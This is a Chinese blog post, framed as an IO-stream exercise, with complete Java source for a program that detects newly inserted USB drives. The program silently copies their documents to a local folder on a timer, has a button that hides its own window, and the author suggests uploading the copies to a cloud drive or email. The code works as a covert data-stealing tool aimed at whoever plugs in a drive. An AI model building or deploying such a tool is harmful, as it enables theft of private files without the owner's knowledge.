java实现u盘内容的自动复制

 这个小程序的功能是，检查U盘，并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家，就当作是练习io流的小练习。

 

这个小程序的实现方法如下：

1、程序运行后隔一断时间就检查系统的盘符有没有增加，通过File.listRoots()可获取系统存在的盘符。

2、如果盘符增加了，遍历这个新增加的盘符，用字节流拷贝文件到指定的路径。

 

需要注意的是，由于U盘的内容可能很大，所以拷贝的时候最好指定要拷贝的文件类型，如ppt,doc,txt等等。

 

下面是这个小程序的相关代码：

在CopyThread类中可以指定要复制的文件类型，大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件，将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径，当然，如果愿意的话，你可以将文件上传到网盘，邮箱等等。。。

 

一、USBMain类，程序入口：

 

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;

public class USBMain {

    public static void main(String[] args) {
        USBMain u = new USBMain();
        u.launchFrame();
        //开启盘符检查线程
        new CheckRootThread().start();
    }

    // 界面
    private void launchFrame() {
        final JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setLocation(450, 250);
        JButton hide = new JButton("点击隐藏窗口");
        // 点击按钮后隐藏窗口事件监听
        hide.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                frame.setVisible(false);
            }
        });
        frame.add(hide);
        frame.pack();
        frame.setVisible(true);
    }
}

二、CheckRootThread类，此类用于检查新盘符的出现，并触发新盘符文件的拷贝。

 

import java.io.File;

//此类用于检查新盘符的出现，并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
    // 获取系统盘符
    private File[] sysRoot = File.listRoots();

    public void run() {
        File[] currentRoot = null;
        while (true) {
            // 当前的系统盘符
            currentRoot = File.listRoots();
            if (currentRoot.length > sysRoot.length) {
                for (int i = currentRoot.length - 1; i >= 0; i--) {
                    boolean isNewRoot = true;
                    for (int j = sysRoot.length - 1; j >= 0; j--) {
                        // 当两者盘符不同时，触发新盘符文件的拷贝
                        if (currentRoot[i].equals(sysRoot[j])) {
                            isNewRoot = false;
                        }
                    }
                    if (isNewRoot) {
                        new CopyThread(currentRoot[i]).start();
                    }
                }
            }
            sysRoot = File.listRoots();
            //每5秒时间检查一次系统盘符
            try {
                Thread.sleep(5000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
}

三、CopyThread类，用于文件遍历并选择指定文件格式进行复制：

 

import java.io.File;

//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
    // 设置要复制的文件类型，如果要复制所有格式的文件，将fileTypes设为null即可
    private static String[] fileTypes = {"ppt","doc","txt","wps"};
    // private static String[] fileTypes = null;

    File file = null;

    public CopyThread(File file) {
        this.file = file;
    }

    public void run() {
        listUsbFiles(file);
    }

    //遍历盘符文件，并匹配文件复制
    private void listUsbFiles(File ufile) {
        File[] files = ufile.listFiles();
        for (File f : files) {
            if (f.isDirectory()) {
                listUsbFiles(f);
            } else {
                if (fileTypeMatch(f))
                    new CopyFileToSysRoot(f).doCopy();
            }
        }
    }

    //匹配要复制的文件类型
    public boolean fileTypeMatch(File f) {
        //fileTypes为null时，则全部复制
        if (fileTypes == null) {
            return true;
        } else {
            for (String type : fileTypes) {
                if (f.getName().endsWith("." + type)) {
                    return true;
                }
            }
        }
        return false;
    }
}

四、CopyFileToSysRoot类，复制文件的IO流实现：

 

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;

//文件复制IO
public class CopyFileToSysRoot {
    // 复制文件保存路径
    private static final String PATH = "D:\\USB";
    private File file = null;

    public CopyFileToSysRoot(File file) {
        this.file = file;
    }

    // 复制文件
    public void doCopy() {
        BufferedInputStream bis = null;
        BufferedOutputStream bos = null;

        try {
            //创建目录
            File fPath = new File(getFileParent(file));
            if (!fPath.exists()) {
                fPath.mkdirs();
            }

            bis = new BufferedInputStream(new FileInputStream(file));
            bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
                    file.getName())));

            byte[] buf = new byte[1024];
            int len = 0;
            while ((len = bis.read(buf)) != -1) {
                bos.write(buf, 0, len);
                bos.flush();
            }
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            try {
                if (bis != null)
                    bis.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                if (bos != null)
                    bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    // 根据盘符中文件的路径，创建复制文件的文件路径
    public String getFileParent(File f) {
        StringBuilder sb = new StringBuilder(f.getParent());
        int i = sb.indexOf(File.separator);
        sb.replace(0, i, PATH);
        return sb.toString();
    }
}